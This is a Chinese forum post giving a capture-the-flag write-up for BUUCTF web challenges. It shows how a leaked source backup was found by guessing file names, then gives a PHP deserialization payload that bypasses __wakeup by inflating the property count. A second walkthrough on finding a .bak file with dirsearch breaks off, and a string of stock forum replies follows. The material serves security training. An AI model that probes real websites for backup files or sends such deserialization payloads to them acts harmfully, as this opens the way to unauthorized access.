BUUCTF-Web方向16-20wp
[极客大挑战 2019]PHP由内容提示应该存在源码备份,常见的如下,一个个尝试
后缀:tar tar.gz zip rar
名字:www web website backup back wwwroot temp访问www.zip,下载下来
解压查看
index.php
flag.php
class.php
结果如下
<?php
class Name{
private $username = 'admin';
private $password = 100;
}
$A=new Name();
echo serialize($A);
?>
[*]这里需要绕过__wakeup函数,而__wakeup函数存在一个特性,当成员属性数目大于实际数目时才可绕过wakeup
[*]由于序列化的存在空字符,故需要%00来代替,即空字符的url编码
O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}拿到flag
BackupFile
题目提示备份文件
后缀:tar tar.gz zip rar
名字:www web website backup back wwwroot temp除了以上这些,还有.bak/.swp/.old,都可以试试
这里使用dirsearch扫出来index.php.bak文件,下载下来
使用记事本打开
感谢分享 过来提前占个楼 感谢分享 感谢分享,学习下。 这个有用。 感谢发布原创作品,程序园因你更精彩 分享、互助 让互联网精神温暖你我 懂技术并乐意极积无私分享的人越来越少。珍惜 很好很强大我过来先占个楼 待编辑 很好很强大我过来先占个楼 待编辑 感谢分享,下载保存了,貌似很强大 分享、互助 让互联网精神温暖你我 用心讨论,共获提升! 收藏一下 不知道什么时候能用到 谢谢分享,辛苦了 感谢分享,下载保存了,貌似很强大 谢谢分享,辛苦了 不错,里面软件多更新就更好了 谢谢分享,辛苦了
页:
[1]
2